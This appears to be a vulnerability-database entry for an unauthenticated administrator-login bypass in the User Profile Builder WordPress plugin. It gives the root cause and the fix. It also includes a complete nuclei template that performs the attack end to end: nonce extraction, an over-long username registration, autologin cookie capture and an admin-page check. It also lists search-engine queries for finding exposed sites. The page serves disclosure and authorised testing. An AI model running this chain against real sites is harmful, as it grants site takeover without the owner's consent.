HexBrain

Browse / CVEs / CVE-2026-15826

CVE-2026-15826· cozmoslabs / profile-builder· CWE-704

User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass

criticalseverity
9.8CVSS score
3.9%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

The User Profile Builder plugin for WordPress version 3.16.4 is vulnerable to an authentication bypass via type confusion. Profile Builder's automatic-login-after-registration handler passes the return value of wp_insert_user() through absint() before testing it with is_wp_error(), so the error check runs against the already-coerced integer. A registration submitted with a 61-70 character username passes the plugin's own validation but is rejected by WordPress core, because the user_login column is VARCHAR(60), and wp_insert_user() returns a WP_Error object. absint() coerces that object to the integer 1, is_wp_error(1) is false, and the plugin binds a transient-backed autologin nonce to user ID 1. Consuming that nonce calls wp_set_auth_cookie(1) and logs the unauthenticated attacker in as the site's Administrator.

Impact

Unauthenticated attackers can log in as the site Administrator (user ID 1), gaining full administrative control including plugin and theme installation, PHP code execution, and complete site compromise.

Fix

Update User Profile Builder to 3.16.5 or later, which performs the is_wp_error() check before coercing the wp_insert_user() return value with absint() and additionally enforces the 60-character username limit server-side.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/profile-builder/readme.txt
Positive when: status_code == 200 and contains(body, "Profile Builder") and compare_versions(pb_version, ">= 3.16.4", "< 3.16.5")
Send: GET {{BaseURL}}/register/
Positive when: status_code == 200 and contains(body, "wppb-register-user") and len(wppb_nonce) > 0 and len(form_name) > 0
Send: POST /register/
Positive when: status_code == 200 and contains(body, "autologin=true") and len(autologin_nonce) > 0
Send: GET /register/?autologin=true&_wpnonce={{autologin_nonce}}
Positive when: contains(tolower(all_headers), "set-cookie: wordpress_logged_in_")
Send: GET /wp-admin/options-general.php
Positive when: status_code == 200 and contains(body, "name=\"blogname\"") and contains(body, "name=\"siteurl\"")

Run it with nuclei: nuclei -id CVE-2026-15826 -u <target>

The full check
id: CVE-2026-15826

info:
  name: User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass
  author: theamanrawat
  severity: critical
  description: |
    The User Profile Builder plugin for WordPress version 3.16.4 is vulnerable to an authentication bypass via type confusion. Profile Builder's automatic-login-after-registration handler passes the return value of wp_insert_user() through absint() before testing it with is_wp_error(), so the error check runs against the already-coerced integer. A registration submitted with a 61-70 character username passes the plugin's own validation but is rejected by WordPress core, because the user_login column is VARCHAR(60), and wp_insert_user() returns a WP_Error object. absint() coerces that object to the integer 1, is_wp_error(1) is false, and the plugin binds a transient-backed autologin nonce to user ID 1. Consuming that nonce calls wp_set_auth_cookie(1) and logs the unauthenticated attacker in as the site's Administrator.
  impact: |
    Unauthenticated attackers can log in as the site Administrator (user ID 1), gaining full administrative control including plugin and theme installation, PHP code execution, and complete site compromise.
  remediation: |
    Update User Profile Builder to 3.16.5 or later, which performs the is_wp_error() check before coercing the wp_insert_user() return value with absint() and additionally enforces the 60-character username limit server-side.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/9f606fba-f779-42ea-a160-6c3b20dc5e79
    - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/front-end/class-formbuilder.php#L262
    - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/features/functions.php#L1481
    - https://plugins.trac.wordpress.org/changeset/3609855/profile-builder
    - https://github.com/HORKimhab/CVE-2026-15826-CVE-2026-15748
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15826
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-15826
    epss-score: 0.03904
    epss-percentile: 0.90362
    cwe-id: CWE-704
  metadata:
    verified: true
    max-request: 5
    vendor: cozmoslabs
    product: profile-builder
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/profile-builder/"
    fofa-query: body="/wp-content/plugins/profile-builder/"
    publicwww-query: "/wp-content/plugins/profile-builder/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,profile-builder,auth-bypass,unauth,intrusive,vkev

variables:
  username: "{{rand_base(63,'abcdefghijklmnopqrstuvwxyz')}}"
  email: "{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}@{{rand_base(8,'abcdefghijklmnopqrstuvwxyz')}}.com"
  password: "{{rand_base(12,'abcdefghijklmnopqrstuvwxyz0123456789')}}Aa1!"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/profile-builder/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Profile Builder")'
          - 'compare_versions(pb_version, ">= 3.16.4", "< 3.16.5")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: pb_version
        part: body
        group: 1
        regex:
          - '(?i)Stable\s+tag:\s*([0-9.]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/register/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "wppb-register-user")'
          - 'len(wppb_nonce) > 0'
          - 'len(form_name) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: form_name
        part: body
        group: 1
        regex:
          - 'name="form_name"[^>]*value="([^"]*)"'
        internal: true

      - type: regex
        name: wppb_nonce
        part: body
        group: 1
        regex:
          - 'name="register_[^"]*_nonce_field"[^>]*value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /register/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/register/
        Origin: {{RootURL}}

        username={{username}}&email={{email}}&passw1={{password}}&passw2={{password}}&action=register&form_name={{form_name}}&register_{{form_name}}_nonce_field={{wppb_nonce}}&register=Register&_wp_http_referer=%2Fregister%2F

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "autologin=true")'
          - 'len(autologin_nonce) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: autologin_nonce
        part: body
        group: 1
        regex:
          - 'autologin=true(?:&(?:#0?38|amp);)?_wpnonce=([a-f0-9]+)'
        internal: true

  - raw:
      - |
        GET /register/?autologin=true&_wpnonce={{autologin_nonce}} HTTP/1.1
        Host: {{Hostname}}

    redirects: false

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(all_headers), "set-cookie: wordpress_logged_in_")'
        internal: true

  - raw:
      - |
        GET /wp-admin/options-general.php HTTP/1.1
        Host: {{Hostname}}

    redirects: false

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "name=\"blogname\"")'
          - 'contains(body, "name=\"siteurl\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from